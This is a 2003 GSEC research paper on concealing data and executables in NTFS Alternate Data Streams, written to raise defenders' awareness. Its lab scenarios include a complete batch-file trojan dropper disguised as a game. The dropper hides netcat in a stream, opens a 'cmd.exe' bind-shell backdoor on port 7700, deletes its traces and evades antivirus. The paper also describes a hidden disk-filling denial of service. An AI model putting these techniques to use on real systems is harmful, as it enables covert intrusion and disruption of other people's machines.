Michael A. Starr
July 4, 2003
GSEC Practical Assignment 1.4b

Malicious and Steganographic Potential in NTFS Alternate Data Streams

Microsoft Windows Alternate Data Steams (ADS) have been a part of the NTFS file system for quite some time. A quick search on Google will reveal a hundred or more sites listing some of the vulnerabilities of ADS. In that respect, ADS, and the fact that it can be used to conceal data are not that new.

Much of the research data that I read in studying ADS has dealt with its potential in terms of virus and trojan concealment. This is certainly a dangerous use for ADS, but not the only, and indeed possibly not even the most dangerous use for ADS. This paper will explore some of the tools and methodologies that an attacker may use to exploit this technology.

1. Introduction:

It has been truly said that "there is nothing new under the sun". NTFS Alternate Data Streams are certainly not new either. In fact the topic has been documented on the internet and in books.

In doing research for this paper, I was able to find several articles from anti-virus software vendors, and security professionals alike, who scoffed at the idea that ADS was any kind of a major threat. Their contention was, that although an executable file could be secretly stored in an ADS, it can not be directly executed, and is therefore, benign.

I was also able to find articles from other security professionals who recognized the malicious possibilities of ADS, but ranked its potential for major damage at a low level. In researching vulnerabilities and advisories for NTFS ADS, I found that most of them concerned relatively harmless attacks, like filling up disk space to create a denial of service attack, or displaying the source code for an .asp script remotely in a browser. In several books that I've read by top security professionals, ADS was not mentioned at all. Even "Hacking Exposed, Third Edition", a top-notch text that I would recommend to anyone interested in computer security, relegated ADS to only a few sentences.

I began to wonder how much malicious potential really exists in ADS. I decided to put up a test machine in my lab, and run some experiments to see if I could define the limitations of what can and cannot be exploited using alternate data streams. As I began to experiment with streams, I had many more questions than answers, and initially, I had to agree with what I had read on the internet. Throwing text files into and out of hidden data streams is "neat" and "fun", but not really malicious. However, as my experiments continued, and I expanded into using other tools and writing some simple code snippets for use in conjunction with ADS, I began to realize that perhaps there really is some serious malicious potential in this technology. In short, I came to the conclusion that any data that can be concealed through encryption or steganography can have that concealment enhanced by ADS. Further, possibly any exploit that an attacker can come up with can be enhanced by using the camouflage that ADS will provide.

I began this experiment with an open mind, and some basic premises:

1) Call them hackers, cyber-criminals, or attackers, people that crack into computer systems, whether for fun or profit, whether "black hat", "gray hat" or "white hat", and regardless of their intentions all have one thing in common. They are nothing if not curious. Fundamental curiosity is the legacy of the internet hacker. Without getting into the morality of the issue, I think it is safe to say that if there is a way to exploit a technology, whether for good or for evil, a hacker will find it.

2) Systems and network administrators are nothing, if not busy. The fact that something has been around for a long time, or is well documented, whether it has been exploited or not, does not mean that the people who defend networks are aware of it, or if they are, that they will look for it. While this situation has greatly improved in recent years, it is still true that frequently exploits and vulnerabilities that have been identified, documented, and had patches made available, still go un-patched.

3) Virii and Trojans are not the only possible compromises of network security, or data integrity. Likewise, anti-virus software, while an important and necessary piece of the computer security puzzle, is not the be-all and end-all of network security. Just as a firewall isn't the only protection that a network needs, neither is AV software. While I think that most anti-virus vendors do an outstanding job of putting out updates rapidly, and keeping their subscribers informed, they are seldom successful in preventing the dreaded "zero-day virus", and as one would expect, are no help at all in protecting against legitimate tools and utilities being misused.

It is not the intent of this paper to prove or disprove anything, but merely to detail the possible malicious and/or steganographic uses that I have found in my experimentations with ADS. Just because this technology has been around for a long time, does not mean that we should underestimate the curiosity and creativity of today's "hackers". We often have in the past, and we've often been proven wrong. It is the responsibility of every network security professional to "think outside the box", and to raise awareness of computer security issues. Hopefully, this paper will help to accomplish that.

2. ADS Overview:

In 1994, alternate data streams came into being along with the NTFS file system in version 3.1 of Windows NT. According to Microsoft, ADS is a feature designed partly for compatibility with Macintosh computers, which also use a form of companion streams in their file system. Microsoft also says that ADS is vital to their product line.

According to Microsoft:

> "A data stream is a sequence of bytes. An application populates the stream by writing data at specific offsets within the stream. The application can then read the data by reading the same offsets in the read path. Every file has a main unnamed stream associated with it, regardless of the file system used. However, NTFS supports additional named data streams in which each data stream is an alternate sequence of bytes [. . .]. Applications can create additional named streams and access the streams by referring to their names. This feature permits related data to be managed as a single unit. For example, a graphics program can store a thumbnail image of a bitmap in a named stream within the NTFS file containing the image." (Microsoft TechNet)

The above article goes on to demonstrate that by right clicking on a document and selecting properties, then viewing the summary tab, a user can enter various information about the document, such as author, revision number, and so on. This information is then stored inside alternate data streams, to be called out and displayed when needed.

What the article doesn't mention is that anyone with permissions to write to a file or directory can add any sort of data to an alternate data stream. The article also doesn't mention that both files and directories can have streams created within them, or that streams can be created and accessed without a "parent" file or directory.

3. ADS Basics:

As mentioned above, any file or directory where a user has write permissions can be used to conceal data of any kind. The basic name syntax for making use of an alternate data stream is **x:\filename.ext:streamname.ext**. Similarly, alternate data streams can be added to directories with the syntax **x:\directoryname:streamname.ext**. Where x: is the drive letter, which may be either a local or a network drive, and ".ext" is the extension of the file or stream.

As you can see, the key here is to separate the name of the stream from the name of the file or directory with a full colon "**:**".

When adding a stream to a file, it doesn't matter whether the file is ASCII or binary. Also, the extension that you give to the stream is only relevant for executable content. A stream that holds text can have any file extension you like, or none at all.

What is particularly significant about data stored in an alternate data stream, is that it becomes for all intents and purposes invisible to anyone viewing or listing the directory. It is true that there are several third-party tools available which will detect and list files that have been concealed in alternate streams, but nothing that is native to windows 2000 (i.e. Windows Explorer, or the "dir" command) will display them. Additionally, adding any amount of data to an alternate stream, does not affect the displayed file size of the parent file.

One of the experiments that I did to test this was to use Windows Explorer's context menu to create a new text file, which is listed as zero bytes since it contains no data until you edit it. Once this was created, I added a 32K text file into a stream, and refreshed the folder view, and issued a "dir" command on the directory from the command prompt. In both cases, the file size remained at zero bytes. Additionally, I ran the md5sum.exe utility on the text file both before and after the addition of the new stream, and the checksums were identical.

Perhaps the most sinister aspect of basic alternate data streams, is that by and large, they cannot be deleted. According to Kurt Seifried's excellent security advisory issued in January of 2002:

> Another "feature" of alternate data streams is that they cannot be deleted. If you have an alternate data stream attached to a file, you cannot delete it, you can write other data to the stream, however, you cannot reliably delete it. To overwrite an alternate data stream, simply place more data into it [. . .] (Seifried)

Theoretically, deleting the parent file or directory (if one exists) will remove the data in the stream, but apparently this is not the case. If this is an option, then at the least it will make the data difficult (not necessarily impossible) to access. In fact, According Seifried even many secure wipe utilities will miss data stored in an ADS, though at the time of his posting (and probably as a result of it) several of the software vendors he mentioned began to take corrective action on this.

Using ADS to Store and Retrieve Text Data:

Putting plain text data into and restoring it from an alternate data stream is simple. The “type” and “more” commands will accomplish this nicely using standard file redirection technique:

Putting text into an ADS:

```
C:\> type file.txt > otherfile.txt:hidden.txt
```

This will place the contents of file.txt into the alternate data stream of otherfile.txt named hidden.txt. Note that a single file or directory can have several thousand alternate streams. The command:

```
C:\> more < otherfile.txt:hidden.txt
```

will pull the text back out and display it on the screen. As we’ll see in a moment, this output can be redirected using the same standard file redirections. Text can also be “echoed” into an alternate data stream, using (not surprisingly) the “echo” command, as such:

```
c:\> echo “This will go to the stream” > otherfile.txt:hidden.txt
```

This can be retrieved in the same way as any other text. Text can also be appended to text that is already in an alternate data stream, simply by using the append redirection syntax:

```
C:\ type file.txt >> otherfile.txt:hidden.txt
```

As noted earlier, these same techniques can be used to create a “parent-less” alternate data stream, by simply omitting the file name of the parent file, but leaving the colon as:

```
C:\ type file.txt > :parentless.txt
```

Again, text data can be retrieved by redirecting to the “more” command.

In testing this, I found that the “more” command worked very well for small, short blocks of text. However, “more” is an interactive command. In short, once its buffer is filled, it stops sending data and waits for user input, which is its purpose. However, that purpose does not suit our ability to store and retrieve large text files from hidden data streams. Using “more” to do this, results in a concatenated version of the information, and data is lost in storing or retrieving it. For managing larger text files, I found that the cat.exe utility from the POSIX utilities available in the Windows NT 4.0 resource kit worked very well. It accepts the same standard redirection syntax that is shown above, and can be used to put text into an ADS as well as retrieve it, just as the “more” command does.

This is all very nice, you might be thinking, but nothing new. You’d be right to think that. I did as well. All we’ve seen so far is that alternate data streams will function using the exact same redirection syntax as any other file. I began to wonder to what use a malicious individual might put all of this text passing and redirection. Aside from the obvious answer of keeping plain text information hidden, the answer I came to is, command line and batch file redirection.

Batch files can be very powerful stuff. The problem with batch files is that it isn’t difficult to open them up and see what they do. A sharp network administrator who sees a batch file sitting openly in a directory where it doesn’t belong will likely do just that, and if it does things that it shouldn’t do, will likely investigate, and delete the file. However, ADS can be used to camouflage such nefarious activity quite easily. As with any batch file, the text can be “more’d” and piped through cmd.exe in order to get it to run, like so:

```
C:\> more < some.bat | cmd.exe
```

This isn’t particularly handy from the command line with a plain batch file, as simply typing its name will produce the same result with fewer keystrokes. However, from the perspective of a malicious user hiding their batch files in a hidden stream, it is just what the doctor ordered. The following syntax works equally well:

```
C:\> more < otherfile.txt:some.bat | cmd.exe
```

Moreover, the hidden file need not have a .bat extension, or indeed any extension at all, remember too that it needn’t even have a parent file.

Interestingly, I found that it is quite possible to edit these hidden batch files directly using Windows Notepad. While attempting to open or save them from the “Open” or “Save” dialog boxes proved ineffective, using the command line to open the file in notepad allowed me to save changes directly to the ADS. The syntax for this is:

```
C:\> notepad otherfile.txt:some.bat
```

Once the file is opened and edited, simply using [CTL] + S, or going to the File -> Save menu item added my changes directly to the hidden stream.

I found that storing command lines in a hidden stream using the "echo" command worked equally well. In short, anything that a user (malicious or otherwise) can do from the command line or a batch file can be done by hiding those commands in an alternate data stream.

Batch files are fairly powerful in their own right, but realistically, they often borrow this power from the command line utilities that they call and control. I began to wonder about the possibility of storing and executing binary code from within an alternate data stream.

Storing and Retrieving Binary Data and Code

We've seen that storing text data, and batch files or command lines is quite simple using the "more", "cat" and "type" commands that are native to Windows itself, or part of the resource kit. However storing binary data such as graphic, zip, or executable files is a bit trickier. Using the above utilities on an executable file will certainly move it in and out of an ADS. The problem is that it corrupts the file in the process, making it unusable. Further, neither the "copy" or "xcopy" commands were up to the task.

I was, however, able to move binary files into and out of hidden streams undamaged using several work-arounds:

- Converting them to text format
- Using dd.exe from the "GNU Utilities for Win32" distribution [3]
- Using cp.exe from the Windows NT/2000 Resource Kit
- Writing a rudimentary binary copy utility in C++ (code available in appendix A)

Binary files to be moved into and out of hidden data streams can be converted to text using PGP's ASCII Armor, or a freeware utility called codegroup, http://fourmilab.ch/codegroup or both. Once converted, the file can be inserted and removed from the stream in exactly the same way as any other text. Since these files are likely to be quite a bit larger when converted to text, the cat.exe utility is a must for retrieving and storing the data.

While this method has interesting steganographic potential, (discussed later), it is a bit cumbersome to use. If we use codegroup for the conversion, the entire process can be scripted, from converting the file to hiding it, to retrieving it, converting it back, and executing it. However, it requires that the executable file be unpacked before it can be used, thereby removing it's camouflage, and leaving it vulnerable to detection. In the lab, I was able to conceal the entire toolkit in various data streams, and then script the conversion directly from one hidden stream to another with a hidden batch file. In reality, I suspect that this holds more interest as a lab exercise than practical value.

You'll note that the binary copy utility that I wrote cannot be scripted (by design) as it requires user interaction. However, it would be fairly simple to enable it to accept command line arguments, which would cause it to mimic the behavior of the cp.exe utility from the Resource Kit. The most significant point about this utility is that it demonstrates that no special API calls needed to be made to enable acceptance of data streams in the file names, it did this natively. Several programming languages, including C++, Visual Basic and Perl, understand ADS. This becomes much more significant when viewed in the context of Microsoft Word or Excel macros, or when used in conjunction with custom code.

The other two tools noted above present a far more efficient (and easily scriptable) method of concealing data in hidden streams. Note that both of these utilities will accept an ADS path from the command line. The syntax follows:

For placing an executable into an alternate data stream in a directory:

C:\> dd if=c:\test\binary.exe of=c:\test\testdir:binary.exe

~OR~

C:\> cp c:\test\binary.exe c:\test\testdir:binary.exe

Retrieving the data works in exactly the same way.

In testing this in the lab, I found a couple of interesting things.

1) First, just to be sure that the file wasn't modified in the process of storing and retrieving it, I copied a binary file into a hidden stream, then copied it back out again using a different file name. I then ran the md5sum.exe utility on both the original and the new file and found that the checksums matched, indicating that the two files are identical.

2) The first attempt that I made to use the cp.exe utility from the POSIX tools failed. I was using the version from the Windows 2000 Resource Kit, and I found that I was unable to execute the file once I had retrieved it from the hidden stream, receiving a "Permission Denied" error. I next attempted to use the version from the NT 4.0 Resource Kit, and that worked exactly as I wanted it to. I did not attempt to troubleshoot why the 2K version did not work for me, so your mileage may vary.

3) I found that if asked properly (using the standard syntax) both dd.exe and cp.exe would willingly copy themselves into a hidden data stream. This is significant in that it would allow a malicious attacker to deliver the utility as

> part of whatever exploit he was attempting to conceal, and have it hide itself for later use, along with any other files that needed to be concealed.

The next obvious question was, now that I had concealed an executable file within an alternate data stream, could I somehow cause it to execute. The answer that had been propounded throughout my internet research was "not directly". In other words, the following syntax will not work:

C:\> c:\test\testdir:binary.exe

The answer to this quandary is provided in Foundstone's "Hacking Exposed, Third Edition" :

> Streamed files can still be executed while hiding behind their "front." Due to cmd.exe limitations, streamed files cannot be executed directly (that is oso001.009:nc.exe). Instead, try using the START command to execute the file[. . .] (McClure, et al, p.216)

The following syntax works admirably:

C:\> start c:\test\testdir:binary.exe

According to the help for "start", its purpose is to start the program in a new command window, and that's exactly what it does. In fact, I found that when the binary executes from within the stream, it will accept the same command line arguments that it normally accepts, without any special quoting or modification. It is important to note, that this worked equally well, whether from a command line or a batch file.

I now knew that executable and batch files could be concealed in alternate data streams, and executed, either from the command line, a batch file, or through using various programming languages, or macros. The question still remained as to whether there was serious malicious potential. Much of the research data that I had read dealt with the malicious possibilities of concealing Virii and Trojans inside of hidden data streams. I decided to look in that arena next.

4. ADS and Malicious Code

I had read Chris Brenton's advisory. According to Chris:

> We tested the latest version of virus scanners from the three major virus scanning vendors. In all cases we found that the scanners were incapable of identifying viruses stored within an alternate data stream. For example if you create the file

> MyResume.doc:ILOVEYOU.vbs, and store the contents of the I Love You virus within the alternate data stream file, none of the tested virus scanners were capable of finding the virus during a complete scan. (Brenton)

I briefly repeated Chris's tests, and found (as I had expected to) that he was quite correct. Hiding a known Trojan or virus file inside an alternate data stream is quite possible. In its dormant state, it will not be detected by the file scan of most AV software, even if you elect to scan all files instead of just executables. The problem that I found, as Chris mentions in his advisory is that as soon as you attempt to execute the Trojan code (I used Netbus), the real-time scanner will trip an alarm, and block access.

I continued my research by looking for a virus that had exploited alternate data streams. I found quite a lot of information concerning a virus called W2k/Stream. This virus was a first attempt at using NTFS alternate data streams to conceal and run malicious code. Eugene Kaspersky, head of Kaspersky Labs was the first to bring the virus to light. At the time of the virus's release, anti-virus vendors scoffed at the attempt. They felt that the virus was very easily detected, and that by extension, the malicious potential of ADS was low. I would offer the possibility that the implementation of the virus was clever, but poorly done. Because of the way that it was designed to operate, it failed to take advantage of some of the more powerful cloaking capabilities that ADS can provide.

In early September of 2000, "W2k/Stream" was created by Benny and Ratter of the 29/A virus group. At the time Eugene Kaspersky stated that "hiding malicious code in an alternate data stream would make it harder to detect." (Lemos) He went on to say:

> "Certainly this virus begins a new era in computer virus creation. The 'stream companion' technology that the virus uses to plant itself into files makes its detection and disinfection extremely difficult to complete." (Lemos)

In that same article, NT Bugtraq editor Russ Cooper was quoted as saying; "This is highly theoretical and not all that new." (Lemos) According to Zdnet News, Cooper "[. . .] pointed out that to infect the computer, the virus would have to infect the main stream of the program. That would make it visible to current anti-virus programs." (Lemos)

As I stated above, I would offer that the basis for these assertions was the implementation of the hidden stream virus. One of the concealing factors in alternate data streams is that adding additional data to the alternate stream takes up disk space, but does not increase the file size that's displayed in Windows Explorer. The W2k/Stream virus didn't hide the malicious code inside the alternate stream, but instead, the virus renamed itself to the same name as the file it was infecting, and copied the original file into the alternate stream. When the virus was executed, it simply made a call to the file it had hidden earlier. This made for two dead giveaways in detecting it. First, any file that was infected had the file size of the virus, instead of the file size of the original file, making the switch fairly obvious. Second, the program call that activated the original file created a distinctive signature that was easily detectable by anti-virus software. Had the virus writers reversed the process, and hidden the malicious code in the alternate stream, then used some other mechanism to call it (other than the execution of the original file) W2k/Stream may have been much more effective as a virus.

Clearly, Kaspersky's prediction that W2k/Stream would launch a new era in virus creation has not yet come to pass. Does ADS have the malicious potential that he suspects, or is Russ Cooper correct in his assertion that ADS is not a threat from a virus carrying perspective? I think that only time will tell, but as of this writing, it is my belief that both of these men are correct. My lab experiments have led me to believe that ADS does have some strong malicious potential, but not necessarily from the perspective of spreading and hiding viruses or known Trojans. My research to this point has led me to the conclusion that ADS doesn't offer startling new vulnerabilities, and it isn't the hacker's "silver bullet". It does however enable an attacker or malicious user to better enhance or conceal an attack that exploits weaknesses in network security. In short, if there is an attack which can compromise the Confidentiality, Integrity, or Accessibility of the data on the network, that attack can be enhanced or concealed using alternate data streams.

Malicious Uses of ADS

As I stated earlier, it is not the intention of this paper to either prove or disprove anything. However, if it was possible, I did want to provide some examples of exploits that use ADS, in ways that haven't been discussed in the research data that I have read. Most of the experimentation I have done uses well-known techniques like shell shoveling, or NetCat backdoors. I have done nothing more than add the additional "cover and concealment" of hiding them behind ADS. The goal here is not to develop the "Ultimate Exploit", after all, the world certainly doesn't need that. The goal is simply to "think outside the box" about possible use (or more accurately misuse) of this technology, in the spirit of raising awareness, and hopefully, defenses.

In developing the scenarios that follow, I found that 3 basic categories of attack stood out to me. Those are:

- **Misuse of "legitimate" utilities by concealment and execution of binary code.** By using little used options of common utilities and tools, batch files, and/or MS Office Macros, I wanted to see if it was possible to create a backdoor listener and gain a command prompt on a test machine that was actively running a common anti-virus product. In order to make it a bit more realistic, I set the following restrictions on the experiment:

1. The user must only execute 1 file to make the entire thing work, and must have only user-level (non-administrator) access.
2. The utilities had to be commonly available (no custom code other than batch files or simple macros)
3. The delivery mechanism has to either conceal or remove all traces of itself after executing the code.
4. The anti-virus product must be running during the entire execution of the test, and not sound an alert.

- **Denial of Service attacks.** Okay, this one was mentioned in the internet research data that I read, but I wanted to find out if under conditions similar to the “misuse of legitimate utilities” scenario above, a denial of service condition could be launched and concealed while running its course, without setting off any alarms. The only difference between this one and the scenario above as far as restrictions go, is that custom code will be involved. I haven’t found a Windows utility that will generate useless data, so I’ll have to write my own.

- **Steganographic Possibilities.** Concealing data within the file system of a single machine certainly has some uses. However, in order to be useful as a threat to network security, it is necessary to be able to move the data from one machine or network to another. From this perspective, one of the “shortcomings” of hiding data in an alternate data stream, is that as soon as the file is moved to a different type of file system (FAT32, ISO9660, ext3, etc) the data in the alternate data streams is lost. I wondered if a creative attacker might be able to overcome this potential shortcoming, and actually find a way to conceal data in an alternate data stream, and then move that data across a file system that doesn’t understand ADS to another machine, and still be able to access the data.

Scenario 1: Misuse of Legitimate Utilities

My test system was running a clean install of Windows 2000 SP3, with no tweaks, or configuration changes. The anti-virus software was a fresh install, and all of the most current virus definition files had been downloaded, installed, and tested. You’ll recall that the object of the exercise is to get a remote command prompt on the machine. I began to select the tools and utilities that I would use to accomplish that goal.

The package would have to be an executable or an installation package, and should be something simple to craft. In all there would need to be 4 separate components, a "delivery" mechanism – some sort of exe wrapper for example, the backdoor listener and friends (utilities to pack the listener into an ADS), the diversion – something that would cause: A) the user to want to download or email the package, and B) something that would happen when they opened it to make the whole thing look legitimate, and the final component would of course be some kind of script, macro, or batch file to control the whole process, start the diversion, install the listener, and clean up the files.

I wasn't particularly interested in making this a recurring event in this exercise, so I've left out any capability to start the backdoor listener at boot time, or when the user logs in. The mechanisms for doing this are all well known. As stated earlier, my primary intent was to gain a remote command prompt without triggering a virus alert.

The first thing that I looked at was how I was going to "wrap" my utilities and scripts together into a single file that would execute when the user double clicked on it. There are numerous "trojanizers" available on the internet, but I rejected them immediately, because I didn't want to actually backdoor the executable file. That wouldn't work as well with ADS, and would certainly set off the AV software. I also looked at eLiTeWrap. According to the read me file posted on the website:

> eLiTeWrap is an EXE wrapper, used to pack files into an archive executable that can extract and execute them in specified ways when the packfile is run. For example, you could create a setup program that would extract files to a directory and execute programs or batch files to display help, copy files, etc. (Chawmp)

Originally intended to be used as an installer packager, back when installing was a much simpler thing, it has many useful and flexible options, and but for one small problem, would be just the thing. The problem with the tool is that if you actually create an exe file with it, by packing up the utilities and scripts, then take a look at that package in a hex editor, you'll find that the word "eLiTeWrap" is branded into the package as part of the error messages. Since eLiTeWrap has been branded as a trojan wrapper by the AV vendors, they pick up on that very quickly. Besides, eLiTeWrap isn't really a "legitimate utility" that lots of folks use daily.

What I was looking for was something that would be perceived as benign, that would create an executable file, blindfold the user briefly, and allow me to run a custom script, or batch file. Powerarchiver 2000 was just the thing. Available at http://www.powerarchiver.com/, this utility is a simple archiving utility, much like WinZip. Like many other archiving utilities, it has the ability to create self-extracting archive files – basically executables. This is so that you can send zip files to folks that don't, or might not have archiving software of their own. However, (and this too may be just like many other archiving utilities), if you dig into the help files, there are some interesting options for building your self extracting archive. Some of the relevant settings that I used in creating my package were:

- Select the directory to unpack to – defaults to the temp directory, which was perfect for my purposes.

- Choose the name of the output file – I chose the same file name as my "diversion" file in order to camouflage the package that much more.

- Run Command line after exiting – the intent for this option is to automatically start something like "setup.exe" to begin an install. It worked rather nicely to run the batch file I created as well.

- File Conflict – basically, what happens if the file already exists, I chose the "overwrite file automatically" option in order to have the package install as silently as possible.

- I unchecked the "show success message when complete" box, checked the "Hide overwrite options" box, and checked the "Do not prompt user before extracting" box.

The next thing to decide was what backdoor listener to use. I chose NetCat (http://www.atstake.com/research/tools/network_utilities/) for several reasons;

- It's small, and though widely portrayed as a "Hacker tool" in some circles, it is generally accepted as benign by most AV vendors.

- It is versatile, and can be used to do many things with network connections (it has been called the network Swiss Army Knife), it will certainly start a backdoor listener, but might also be used to move files from the target machine, or any number of other things once installed.

- I'm familiar with its options and command line switches.

- It is readily available, and often used.

I also packed the cp.exe (http://www.microsoft.com/windows2000/techinfo/reskit/default.asp you must purchase the resource kit for this tool) utility into the package in order to make use of ADS and conceal my tracks. Had the goal of the exercise been to remove files from the target machine I would likely have chosen to use dd.exe (http://www.wzw.tu-muenchen.de/~syring/win32/UnxUtils.html) instead, since that tool is to file manipulation what NetCat is to network manipulation, and it will pack things into an ADS just as well as cp.exe.

Next, I needed some kind of diversion. Any number of things was possible. I had experimented with using the VB Shell() function to start executables hidden in data streams from both MS Word and Excel macros. This works very well, but in a more real-world scenario, these macros are closely controlled and monitored, both by anti-virus software, as well as the controls within the application itself. Though I didn't test it in this exercise, and I have been able to successfully run such macros with some brands of AV software, I suspected that simply using the shell() function from within a macro might set off a virus alert. Besides, double-clicking on an executable file and having an Excel spreadsheet pop open doesn't really ring true to most folks. Instead, I looked around the internet for some simple games. Most people like games, and will often download them from the internet or email them to each other without thinking twice. I wanted something that was written as a single executable file, and was able to find it quite easily.

Finally, I needed the control script. This script needed to do the following:

- Start the game
- Hide the backdoor listener, and associated utilities
- Start the listener
- Clean up all of the files that had been unpacked, except the game.
- Do all of this silently

My first attempt at the package worked fairly well on my coding machine. I was using a game that had been written in Macromedia Director, I believe and packaged as a free-standing executable. It was a fun game called snowball fight. The problem that I ran into was that because I was using a batch file to call all of these things, a DOS window popped open briefly before the game started. Because of the type of game I was using, this was a poor fit. I also found that the Macromedia product was copying a .dll file to the system directory when the game was starting. This works fine, with Administrator privilege, but doesn't work at all with User level rights.

My first attempt at correcting the DOS window problem was to rewrite the batch file using VBScript and the Windows Scripting Host. Aside from being more complicated, there was another problem. The first thing I wanted to do was start the game. This entailed creating a shell object, and calling it to run the executable:

```
dim shell
set shell=CreateObject("WScript.Shell")
shell.run"c:\adspaper\test\snowcraft.exe"
```

This worked fine, but that call to the shell immediately triggered a virus alert. I decided to resolve this problem by changing the game, and staying with the batch file. I went back to the internet and found a DOS based game called Aldo (much like the original Donkey Kong console game), that was packed as a single executable file, and didn't need special privileges to run. Even better, the game popped open a DOS window immediately prior to opening a full screen DOS shell and starting the game. These two things worked together to make my package mimic the natural behavior of the game. This is the final batch file, "download.bat":

```
@ECHO OFF

::Start the game
start /B aldo2.exe 2>nul >nul

::Create a directory in the root of the system drive
MKDIR %systemdrive%\aldo.sys 2>nul >nul

::Hide our tool kit
cp nc.exe %systemdrive%\aldo.sys:nc.exe 2>nul >nul
cp cp.exe %systemdrive%\aldo.sys:cp.exe 2>nul >nul

::Start the NetCat listener on port 7700, throw a shell when
::someone connects to it, and detach it from the console
start "aldo" /MIN /B %systemdrive%\aldo.sys:nc.exe  -L -p 7700 -d -e cmd.exe >
NUL

::Clean up the files and cover our tracks
DEL nc.exe
DEL cp.exe
::It sounds strange, but batch files will happily delete themselves
DEL download.bat
```

I gathered the four files; nc.exe, cp.exe, aldo2.exe, and download.bat, packed them up into a zip file, and converted it to a self-extracting archive with the options mentioned above. I placed it onto the target machine, and double clicked on it. It ran perfectly. The game started up, and while it was running I connected to the target host from my coding workstation on port 7700 and got a command prompt. Once I had gained the command prompt, I killed the game, and with the listener still running, I ran a full system scan with the AV software, and then, just to be sure, I specifically scanned the package that I had created. No viruses were detected, and no alerts sounded. I checked in the process table in task manager, and the only indication that anything was going on was an entry for aldo.sys, the directory I created in the batch file to hold the toolkit in its streams – this would look like a file loaded by the game, but in reality, it is the NetCat listener. Had I chosen to hide the data streams in a file instead of a directory, it would have lent that much more realism to the attack. An interesting thing about executables that are run from inside of an ADS is that only the name of the parent file or directory shows up in the process table.

As I touched on briefly earlier, the possible uses for NetCat and dd.exe alone are staggering, never mind the possibilities of other Resource Kit tools, and freely available utilities, or for that matter, custom code, and "hacker tools". As an example, I've had a fair amount of success in the lab with the tools in the Dsniff (http://www.datanerds.net/~mike/dsniff.html) package, hiding the utility inside of an ADS, and redirecting its output to another ADS. Other uses or misuses of this technology are left as an exercise for the reader.

Scenario 2: ADS Denial of Service Attacks

As noted earlier, adding data to an alternate data stream takes up disk space, but does not modify the file sizes displayed in either Windows Explorer or the command shell. This golden opportunity for a denial of service attack has been noted in several advisories on the internet. In keeping with my aversion to theoretical exploits, I decided to craft an exercise that would actually cause a denial of service attack by filling up the disk space on my test machine. The objective was to have a data-generation utility hidden in an ADS, which would have its output data redirected to another ADS, thereby hiding the entire process. For all intents and purposes, the delivery method used in the previous exercise would suffice, and need not be repeated here. I'll only highlight the changes to that procedure.

The first thing that I needed to perform the exercise was a utility that would generate a continuous stream of data – it doesn't matter what the data is. I searched the internet, and while I did find some utilities that are designed to generate random data for cryptographic keys, they didn't suit my purpose. Their focus was primarily generating finite blocks of near truly random data. In this instance, it doesn't matter how close to truly random the data is, just that it be generated in a continuous stream. The code for doing this is quite simple, and so I wrote my own utility. The following snippet is the source code for that utility, modified to a limit of producing 10,000 zeros:

```
#include <iostream>

using namespace std;        //introduces namespace std

int main()
{

        int myInt = 0;
        int i = 0;

        while(i < 10000)
        {
        i++;
        cout << myInt;

        }
return 0;
}
```

I modified the utility for testing purposes, but as you can see, it would be trivial to set the utility to produce a never ending stream of zeros, which I did in my actual testing.

Once the utility was compiled into zerogen.exe, I used the following command lines to hide and execute it.

```
C:\> cp zerogen.exe c:\adspaper\test\newfile.txt:zerogen.exe

C:\> start newfile.txt:zerogen.exe > newfile.txt:output.stream
```

It took surprisingly little time to fill the 2 Gigabytes of free space that were available on the drive and crash the system. Such an attack would be particularly perplexing because the administrator of the system would not be able to locate the file or directory that was filling up the disk.

Scenario 3: Steganography and ADS

In his excellent book on cryptography and steganography "Hiding in Plain Site" Eric Cole differentiates between crypto and stego by saying:

> There are two ways to address these questions. One method is to encipher the message in such a way that no one else can read it. In this case, people may be able to tell that a secret message is being transmitted; they just can't read the message. The second method is to hide the very fact that a message is being transmitted. [. . .] The first method relies on cryptography, and the second method relies on steganography.
> (Cole, p.51)

The exact same definitions can be applied to NTFS Alternate Data Streams. Encrypting a file on your hard drive will generally keep people from viewing it, though it may raise curiosity about what's in it. Taking that encrypted file and hiding it within the file system itself in an ADS will generally prevent people from even knowing it exists.

The field of steganography is a vast and interesting field. A field that is far too vast to permit a comprehensive discussion within the scope of this paper. However, a brief overview of its concepts is necessary for understanding how alternate data streams can be used with steganography.

In general terms, when we talk about steganography, we are talking about concealing data. Typically, we are concealing data, generally text, within some sort of graphic or multimedia file. This is accomplished through several methods, but usually it involves replacing bits of the multimedia file with bits of the data file. In doing this, the software utility that accomplishes the replacement usually attempts to replace the least significant bits of the media file, particularly those bits that are outside the boundaries of human perception. In other words, it might replace the bits of a .wav file that are in a sound range beyond what the human ear can hear. In this manner, the "secret" data is merged with the media file in such a way that the media file looks or sounds unchanged.

There are also tools and techniques that will detect steganography, just as there are tools and techniques that will detect alternate data streams. Because of this, most of the utilities that perform steganography will also provide some form of encryption. The cryptography provides a secondary layer of protection to the data hidden within the media file.

Likewise, cryptography can be used in conjunction with ADS in such a way that if a file is discovered within the hidden stream, its contents may still elude viewing. Given the recent course of world events, the potential for concealing data by criminals and terrorists alike is staggering. This capability of NTFS data streams is certainly more sinister and far reaching than concealing virii and Trojans, causing a denial of service attack, or even executing hidden binary code. Quite likely, it is the most dangerous aspect of ADS technology.

While the capability of encrypting and concealing data on a single machine is certainly not to be dismissed, one major advantage of common steganography techniques over ADS steganography techniques is the capability to transport the data across multiple media types and file systems once it has been concealed. The drawback to ADS steganography is that data hidden in an alternate data stream is lost once the parent file that contains it is moved from an NTFS file system. This means that by and large, copying the file to floppy or CDROM, using ftp to transfer it to a non-NTFS file system, or even copying it to a FAT32 volume on the same machine results in the data within the streams being lost. In order to transport a file containing ADS data, it must either be passed from one NTFS file system to another, or it is necessary to transport the entire file system that it resides on.

While there are many advantages and benefits to the NTFS file system, transporting it across removable media is not among the list, and natively transporting it across any type of network connection other than a shared drive, is infeasible. Typically, transporting it across the open internet via standard file transfer protocols is infeasible as well. However, in my research, I did uncover an exception to each of these "shortcomings" in transporting an NTFS file system. The first involves removable media, the second, transporting an entire file system across any type of media (except floppy), or any network connection, via any file transport protocol (FTP, HTTP, SMTP, etc), up to and including converting the entire file system to text, and concealing that text in a WAV file using standard steganography tools, while still being able to recover the data from within the alternate data streams of the file system. Clearly, of the two, the second method holds the most interest in terms of concealing and transporting data within an alternate data stream.

